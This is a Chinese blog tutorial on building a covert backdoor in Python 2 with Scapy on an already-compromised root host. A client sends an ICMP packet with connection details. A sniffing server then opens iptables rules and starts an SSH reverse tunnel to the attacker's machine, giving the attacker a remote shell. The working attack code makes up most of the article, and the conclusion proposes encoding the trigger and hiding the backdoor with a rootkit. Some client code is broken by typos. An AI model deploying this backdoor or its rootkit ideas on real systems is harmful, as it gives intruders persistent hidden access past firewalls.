用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python实现apahce网站日志分析示例
Apr 02 Python
python下载文件时显示下载进度的方法
Apr 02 Python
Python实现FTP上传文件或文件夹实例(递归)
Jan 16 Python
Python 对输入的数字进行排序的方法
Jun 23 Python
Python查找数组中数值和下标相等的元素示例【二分查找】
Feb 13 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 Python
python pandas.DataFrame.loc函数使用详解
Mar 26 Python
python可迭代对象去重实例
May 15 Python
python判断一个变量是否已经设置的方法
Aug 13 Python
python中实现词云图的示例
Dec 19 Python
深入探讨opencv图像矫正算法实战
May 21 Python
python3操作redis实现List列表实例
Aug 04 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
PHP 加密解密内部算法
2010/04/22 PHP
php中关于普通表单多文件上传的处理方法
2011/03/25 PHP
关于js和php对url编码的处理方法
2014/03/04 PHP
ThinkPHP中U方法的使用浅析
2014/06/13 PHP
PHP xpath提取网页数据内容代码解析
2020/07/16 PHP
jQuery 源码分析笔记(5) jQuery.support
2011/06/19 Javascript
JavaScript在网页中画圆的函数arc使用方法
2015/11/13 Javascript
三分钟带你玩转jQuery.noConflict()
2016/02/15 Javascript
基于node实现websocket协议
2016/04/25 Javascript
使用bootstrapValidator插件进行动态添加表单元素并校验
2016/09/28 Javascript
jquery获取点击控件的绝对位置简单实例
2016/10/13 Javascript
基于JavaScript实现自动更新倒计时效果
2016/12/19 Javascript
jQuery实现文字自动横移
2017/01/08 Javascript
Three.js获取鼠标点击的三维坐标示例代码
2017/03/24 Javascript
基于js中document.cookie全面解析
2017/09/14 Javascript
JS返回顶部实例代码
2020/08/09 Javascript
微信小程序返回多级页面的实现方法
2017/10/27 Javascript
vue项目中实现缓存的最佳方案详解
2019/07/11 Javascript
vue实现点击追加选中样式效果
2019/11/01 Javascript
解决vue语法会有延迟加载显现{{xxx}}的问题
2019/11/14 Javascript
Vue组件跨层级获取组件操作
2020/07/27 Javascript
[06:35]2014DOTA2国际邀请赛 老男孩梦圆西雅图中国军团世界最强
2014/07/22 DOTA
python继承和抽象类的实现方法
2015/01/14 Python
Python网络编程之TCP套接字简单用法示例
2018/04/09 Python
解决Spyder中图片显示太小的问题
2018/04/27 Python
Python实现自定义函数的5种常见形式分析
2018/06/16 Python
Python 确定多项式拟合/回归的阶数实例
2018/12/29 Python
python selenium 查找隐藏元素 自动播放视频功能
2019/07/24 Python
pytorch torch.expand和torch.repeat的区别详解
2019/11/05 Python
python操作gitlab API过程解析
2019/12/27 Python
Perricone MD裴礼康美国官网:抗衰老护肤品
2016/09/26 全球购物
德国W家官网,可直邮中国的母婴商城:Windeln.de
2021/03/03 全球购物
西部世纪.net笔试题面试题
2014/04/03 面试题
办加油卡单位介绍信
2014/01/09 职场文书
德能勤绩廉个人总结
2015/02/14 职场文书
工程资料员岗位职责
2015/04/13 职场文书